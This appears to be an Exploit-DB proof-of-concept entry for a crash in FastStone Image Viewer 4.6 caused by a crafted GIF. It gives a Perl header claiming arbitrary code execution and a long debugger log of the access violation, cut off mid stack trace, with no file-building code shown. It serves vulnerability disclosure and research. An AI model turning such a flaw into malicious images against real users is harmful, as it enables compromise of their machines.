Exploit-DB #21788
Description: FastStone Image Viewer 4.6 - ReadAVonIP Crash (PoC)
Type: dos
Platform: windows
Date: 2012-10-07
Author: Jean Pascal Pereira

Exploit:
#!/usr/bin/perl
 
# FastStone Image Viewer 4.6 <= ReadAVonIP Arbitrary Code Execution
 
# Author: Jean Pascal Pereira <pereira@secbiz.de>
 
# Vendor URI: http://www.faststone.org
 
# Vendor Description:
# An image browser, converter and editor that supports all major graphic formats including BMP, JPEG, JPEG 2000,
# GIF, PNG, PCX, TIFF, WMF, ICO, TGA and camera raw files. It has a nice array of features such as image viewing,
# management, comparison, red-eye removal, emailing, resizing, cropping, color adjustments, musical slideshow and much more.
 
# Debug info:
# Microsoft (R) Windows Debugger Version 6.11.0001.404 X86
# Copyright (c) Microsoft Corporation. All rights reserved.

# CommandLine: "C:\Program Files\FastStone Image Viewer\FSViewer.exe" C:\research\fsview\crafted.gif
# Symbol search path is: *** Invalid ***
# ****************************************************************************
# * Symbol loading may be unreliable without a symbol search path.           *
# * Use .symfix to have the debugger choose a symbol path.                   *
# * After setting your symbol path, use .reload to refresh symbol locations. *
# ****************************************************************************
# Executable search path is: 
# ModLoad: 00400000 00a5a000   image00400000
# ModLoad: 7c900000 7c9b2000   ntdll.dll
# ModLoad: 7c800000 7c8f6000   C:\WINDOWS\system32\kernel32.dll
# ModLoad: 77dd0000 77e6b000   C:\WINDOWS\system32\advapi32.dll
# ModLoad: 77e70000 77f03000   C:\WINDOWS\system32\RPCRT4.dll
# ModLoad: 77fe0000 77ff1000   C:\WINDOWS\system32\Secur32.dll
# ModLoad: 73b50000 73b67000   C:\WINDOWS\system32\avifil32.dll
# ModLoad: 77c10000 77c68000   C:\WINDOWS\system32\msvcrt.dll
# ModLoad: 7e410000 7e4a1000   C:\WINDOWS\system32\USER32.dll
# ModLoad: 77f10000 77f59000   C:\WINDOWS\system32\GDI32.dll
# ModLoad: 76b40000 76b6d000   C:\WINDOWS\system32\WINMM.dll
# ModLoad: 774e0000 7761e000   C:\WINDOWS\system32\ole32.dll
# ModLoad: 77be0000 77bf5000   C:\WINDOWS\system32\MSACM32.dll
# ModLoad: 75a70000 75a91000   C:\WINDOWS\system32\MSVFW32.dll
# ModLoad: 7c9c0000 7d1d7000   C:\WINDOWS\system32\SHELL32.dll
# ModLoad: 77f60000 77fd6000   C:\WINDOWS\system32\SHLWAPI.dll
# ModLoad: 773d0000 774d3000   C:\WINDOWS\WinSxS\x86_Microsoft.Windows.Common-Controls_6595b64144ccf1df_6.0.2600.6028_x-ww_61e65202\COMCTL32.dll
# ModLoad: 763b0000 763f9000   C:\WINDOWS\system32\comdlg32.dll
# ModLoad: 77120000 771ab000   C:\WINDOWS\system32\oleaut32.dll
# ModLoad: 74[PII_REDACTED]e000   C:\WINDOWS\system32\quartz.dll
# ModLoad: 77c00000 77c08000   C:\WINDOWS\system32\version.dll
# ModLoad: [PII_REDACTED]   C:\WINDOWS\system32\winspool.drv
# (dd8.ef4): Break instruction exception - code 80000003 (first chance)
# ModLoad: 76390000 763ad000   C:\WINDOWS\system32\IMM32.DLL
# ModLoad: 5ad70000 5ada8000   C:\WINDOWS\system32\uxtheme.dll
# ModLoad: 74[PII_REDACTED]c000   C:\WINDOWS\system32\MSCTF.dll
# ModLoad: 755c0000 755ee000   C:\WINDOWS\system32\msctfime.ime
# ModLoad: 5edd0000 5ede7000   C:\WINDOWS\system32\olepro32.dll
# ModLoad: 77920000 77a13000   C:\WINDOWS\system32\SETUPAPI.dll
# ModLoad: 76990000 769b5000   C:\WINDOWS\system32\ntshrui.dll
# ModLoad: 76b20000 76b31000   C:\WINDOWS\system32\ATL.DLL
# ModLoad: 5b860000 5b8b5000   C:\WINDOWS\system32\NETAPI32.dll
# ModLoad: 769c0000 76a74000   C:\WINDOWS\system32\USERENV.dll
# ModLoad: 73bc0000 73bc6000   C:\WINDOWS\system32\DCIMAN32.DLL
# ModLoad: 77b40000 77b62000   C:\WINDOWS\system32\appHelp.dll
# ModLoad: 76fd0000 7704f000   C:\WINDOWS\system32\CLBCATQ.DLL
# ModLoad: [PII_REDACTED]   C:\WINDOWS\system32\COMRes.dll
# ModLoad: 77a20000 77a74000   C:\WINDOWS\System32\cscui.dll
# ModLoad: 76[PII_REDACTED]d000   C:\WINDOWS\System32\CSCDLL.dll
# ModLoad: 76bf0000 76bfb000   C:\WINDOWS\system32\psapi.dll
# ModLoad: 75f80000 7607d000   C:\WINDOWS\system32\browseui.dll
# (dd8.ef4): Access violation - code c0000005 (first chance)
# First chance exceptions are reported before any exception handling.
# This exception may be expected and handled.
# eax=0000320e ebx=007fcdf2 ecx=0012c000 edx=00130000 esi=0011f7b8 edi=00000000
# eip=007cdea2 esp=0011f750 ebp=0011f770 iopl=0         nv up ei pl zr na pe nc
# cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
# *** WARNING: Unable to verify checksum for image00400000
# *** ERROR: Module load completed but symbols could not be loaded for image00400000
# image00400000+0x3cdea2:
# 007cdea2 893a            mov     dword ptr [edx],edi  ds:0023:00130000=78746341
# 0:000> g;g;r;!exploitable -v;q
# (dd8.ef4): Access violation - code c0000005 (first chance)
# First chance exceptions are reported before any exception handling.
# This exception may be expected and handled.
# (dd8.ef4): Access violation - code c0000005 (first chance)
# First chance exceptions are reported before any exception handling.
# This exception may be expected and handled.
# eax=00000000 ebx=00000000 ecx=00000000 edx=7c9032bc esi=00000000 edi=00000000
# eip=00000000 esp=0011efb0 ebp=0011efd0 iopl=0         nv up ei pl zr na pe nc
# cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
# 00000000 ??              ???
# HostMachine\HostUser
# Executing Processor Architecture is x86
# Debuggee is in User Mode
# Debuggee is a live user mode debugging session on the local machine
# Event Type: Exception
# *** ERROR: Symbol file could not be found.  Defaulted to export symbols for ntdll.dll - 
# Exception Faulting Address: 0x0
# First Chance Exception Type: STATUS_ACCESS_VIOLATION (0xC0000005)
# Exception Sub-Type: Read Access Violation

# Exception Hash (Major/Minor): 0x30337b6e.0x4a092676

# Stack Trace:
# Unknown
# ntdll!RtlConvertUlongToLargeInteger+0x6a
# ntdll!RtlConvertUlongToLargeInteger+0x3c
# ntdll!KiUserExceptionDispatcher+0xe
# ntdll!RtlConvertUlongToLargeInteger+0x3c
# ntdll!KiUserExc